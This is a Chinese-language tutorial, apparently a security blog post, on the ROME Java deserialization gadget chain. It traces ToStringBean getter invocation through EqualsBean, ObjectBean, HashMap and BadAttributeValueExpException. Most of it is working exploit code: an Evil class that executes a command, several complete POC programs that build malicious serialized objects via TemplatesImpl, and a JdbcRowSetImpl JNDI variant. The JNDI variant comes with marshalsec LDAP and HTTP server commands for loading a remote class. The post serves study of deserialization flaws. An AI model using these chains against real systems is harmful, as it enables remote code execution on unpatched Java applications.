前言 ROME is a Java framework for RSS and Atom feeds
RSS : Really Simple Syndication(真正简易联合)
是一种消息来源格式规范,用以聚合经常发布更新数据的网站,例如博客文章、新闻、音频或视频的网摘。其使用XML编写
RSS 阅读器用于读取 RSS feed。ROME就是一个RSS 阅读器的实现。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome打反序列化的核心利用点 。
浅析 1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > rome</groupId > <artifactId > rome</artifactId > <version > 1.0</version > </dependency > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.28.0-GA</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public class ToStringBean implements Serializable { protected ToStringBean (Class beanClass) { _beanClass = beanClass; _obj = this ; } public String toString () { Stack stack = (Stack) PREFIX_TL.get(); String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek()); String prefix; if (tsInfo==null ) { String className = _obj.getClass().getName(); prefix = className.substring(className.lastIndexOf("." )+1 ); } else { prefix = tsInfo[0 ]; tsInfo[1 ] = prefix; } return toString(prefix); } private String toString (String prefix) { StringBuffer sb = new StringBuffer (128 ); try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass); if (pds!=null ) { for (int i=0 ;i<pds.length;i++) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod!=null && pReadMethod.getDeclaringClass()!=Object.class && pReadMethod.getParameterTypes().length==0 ) { Object value = pReadMethod.invoke(_obj,NO_PARAMS); printProperty(sb,prefix+"." +pName,value); } } } } catch (Exception ex) { sb.append("\n\nEXCEPTION: Could not complete " +_obj.getClass()+".toString(): " +ex.getMessage()+"\n" ); } return sb.toString(); } }
toString(String prefix)
有可疑的pReadMethod.invoke
BeanIntrospector.getPropertyDescriptors(_beanClass);
能够获取类中的属性名及其getter方法(getter需要public)
可以本地试试:
新建一个Person
类:
1 2 3 4 5 6 7 8 9 10 public class Person { public String name; private Integer age; public String getName () { return name; } public Integer getAge () { return age; } }
1 2 3 4 5 6 7 8 9 10 11 PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(Person.class);if (pds != null ) { for (int i = 0 ; i < pds.length; i++) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); System.out.println(pReadMethod.getName()); } }
接着遍历PropertyDescriptor
数组,对于每个getter方法,若其不是Class类的getter方法(一般就是getClass
了),且无参,则执行该方法(pReadMethod.invoke(_obj,NO_PARAMS)
)
在FastJson
那节我们就接触了几个可以利用getter
方法的恶意类
TemplatesImpl#getOutputProperties
(fastjson中需要开启Feature.SupportNonPublicField
)
JdbcRowSetImpl#getDatabaseMetaData()
(jndi注入,需要出网)
BasicDataSource#getConnection
(BCEL码)
下面以TemplatesImpl#getOutputProperties
为例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); }public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean bean = new ToStringBean (TemplatesImpl.class, obj); System.out.println(bean); }
接着要找某个类的readObject
调用了toString
且调用者可控。
这里找了个中间人EqualsBean
,和ToStringBean
在同一个包下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class EqualsBean implements Serializable { public EqualsBean (Class beanClass,Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException (obj.getClass()+" is not instance of " + beanClass); } _beanClass = beanClass; _obj = obj; } public int hashCode () { return beanHashCode(); } public int beanHashCode () { return _obj.toString().hashCode(); } }
熟悉的hashCode
,入口就是URLDNS
的入口类hashMap
hashMap#readObject
=> hash(key)
=> key.hashCode()
=> EqualsBean#hashCode
POC 和URLDNS
一样,往map
里put
时会触发hashCode
,这里使用ObjectBean
来作中转,后面再用反射修改:
1 2 3 4 5 6 7 8 9 10 public class ObjectBean implements Serializable { public ObjectBean (Class beanClass,Object obj,Set ignoreProperties) { _equalsBean = new EqualsBean (beanClass,obj); _toStringBean = new ToStringBean (beanClass,obj); _cloneableBean = new CloneableBean (obj,ignoreProperties); } public int hashCode () { return _equalsBean.beanHashCode(); } }
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class Rome { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean bean = new ToStringBean (Templates.class, obj); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, bean); ObjectBean fakeBean = new ObjectBean (String.class, "p4d0rn" ); HashMap map = new HashMap (); map.put(fakeBean, 1 ); setFieldValue(fakeBean, "_equalsBean" , equalsBean); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(map); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
这里还有一个问题。
构造ToStringBean
时应该传入Templates.class
,这个Templates
接口只定义了getOutputProperties
这个方法。
若传入TemplatesImpl.class
,BeanIntrospector.getPropertyDescriptors(Target.class)
遍历getter方法时,会先遍历到getStylesheetDOM
,return (DOM)_sdom.get();
。
而_sdom
这个属性被transient
修饰,无法被序列化。反序列化的时候会抛出NullPoint
异常,退出getter
方法遍历,导致无法执行到getOutputProperties
CC5中也有利用到toString()
的类,BadAttributeValueExpException
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class BadAttributeValueExpException extends Exception { public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); } private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;public class Rome { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode(); TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "EddieMurphy" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean bean = new ToStringBean (Templates.class, obj); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (bean); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(badAttributeValueExpException); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
fastjson那节利用的是JdbcRowSetImpl#setAutoCommit
来进行jndi注入,但ROME链是触发getter方法。
实际上在JdbcRowSetImpl
类里搜索this.connect()
,还存在一个方法getDatabaseMetaData
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public DatabaseMetaData getDatabaseMetaData () throws SQLException { Connection var1 = this .connect(); return var1.getMetaData(); }private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); } } }
getDataSourceName
是在JdbcRowSetImpl
父类BaseRowSet
中定义的,我们就不能用getDeclaredField
来获取了。
JdbcRowSetImpl#setDataSourceName
可以直接设置值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.ToStringBean;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;public class Rome { public static void setFieldValue (Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, newValue); } public static void main (String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:8099/aaa" ); ToStringBean bean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 ); setFieldValue(badAttributeValueExpException, "val" , bean); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(badAttributeValueExpException); oos.close(); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); Object o = (Object) ois.readObject(); } }
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#calc 8099
开ldap,
python -m http.server 8000
开启web服务,然后就和之前讲的JNDI一样了。
Rome还有很多变化链,也非常值得思考,可以看下方链接继续跟进学习。
参考:
Rome | Java (gitbook.io)
【Web】浅聊Java反序列化之Rome——EqualsBean&ObjectBean_java反序列化rome链-CSDN博客
【Web】浅聊Java反序列化之Rome——关于其他利用链_java反序列化rome链-CSDN博客